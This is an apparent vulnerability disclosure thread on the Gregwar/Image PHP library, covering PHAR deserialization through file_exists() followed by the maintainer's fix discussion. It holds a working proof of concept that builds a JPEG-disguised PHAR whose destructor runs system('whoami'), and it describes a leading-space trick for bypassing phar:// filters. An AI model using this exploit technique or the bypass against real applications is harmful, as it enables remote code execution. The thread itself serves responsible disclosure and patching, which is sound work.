[Security] PHAR deserialization allowing remote code execution

[tusoar]

PHAR deserialization allowing remote code execution

Description

Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.

Proof of Concept (PoC)

there is a vulnerable example with : GD.php

GD.php line 610~617

protected function openJpeg($file)
    {
        if (file_exists($file) && filesize($file)) {
            $this->resource = @imagecreatefromjpeg($file);
        } else {
            $this->resource = false;
        }
    }

• You can see there's a file_exists function, and when we pass in a JPEG file, it gets triggered.
• However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.

File.php line 29~61

     public function guessType()
    {
        if (function_exists('exif_imagetype')) {
            $type = @exif_imagetype($this->file);

            if (false !== $type) {
                if ($type == IMAGETYPE_JPEG) {
                    return 'jpeg';
                }

                if ($type == IMAGETYPE_GIF) {
                    return 'gif';
                }

                if ($type == IMAGETYPE_PNG) {
                    return 'png';
                }

                if ($type == IMAGETYPE_WEBP) {
                    return 'webp';
                }
            }
        }

        $parts = explode('.', $this->file);
        $ext = strtolower($parts[count($parts) - 1]);

        if (isset(Image::$types[$ext])) {
            return Image::$types[$ext];
        }

        return 'jpeg';
    }

• Thus, we create the PHAR file like this.

create_phar.php

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('poc.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php

We obtain the file.:

• And we setup the following code in /var/www/html: vuln.php represents our use of gregwar/image functions and poc.php represents code with a vulnerable POP chain.

poc.php

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

vuln.php

<?php

    require_once 'vendor/autoload.php';

    include 'poc.php';

    use Gregwar\Image\Image;

    Image::open('phar://poc.phar/')
        ->resize(500, 500)
        ->save('out.png', 'png');

• And execute vuln.php with php vuln.php, you should see whoami being executed

or

Mitigation

• Add a whitelist to enhance input validation.

Reference

https:/Gregwar/Image/tree/master
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

[Gregwar]

Hello,

Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?

I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

[Gregwar]

(I am running 8.1 and was not able to reproduce the POC)

[tusoar]

Hello, starting from PHP version 8, the phar wrapper can no longer be used. You need to use a version of PHP earlier than 8 to complete this.

https://php.watch/versions/8.0/phar-stream-wrapper-unserialize

If you need the environment, I can send it to you via Gmail.

[tusoar]

Hello,

Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?

I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

You can update your project’s installation requirements to PHP >= 8.1.

[Gregwar]

Just pushed an update to ignore PHARs on master.
If it fixes your POC, I can release a new minor version and update ImageBundle as well

[Gregwar]

Hello,
Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?
I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

You can update your project’s installation requirements to PHP >= 8.1.

I am actually not sure.
I believe that would be another option, the only problem I see is preventing users from loading images from a PHAR. I don't know whether it is a common use case or not.

[tusoar]

I strongly recommend implementing a whitelist for checks (only allowing approved file extensions for processing), and adding the requirement of PHP >= 8.1. This is because blacklist methods are easily bypassed. For example:

public static function isPhar($file)
{
    return substr(strtolower($file), 0, 7) === 'phar://';
}

This code can easily be bypassed by inputting ' phar://' (with a leading space).

[Gregwar]

And phar:// is a valid protocol ?

[Gregwar]

I added a trim around the filename in another commit

[tusoar]

And phar:// is a valid protocol ?

Yes, I used this trick to bypass the checks for other projects.

[tusoar]

I also hope to remove the "return jpeg" from guesstype so that we can reject invalid file extensions.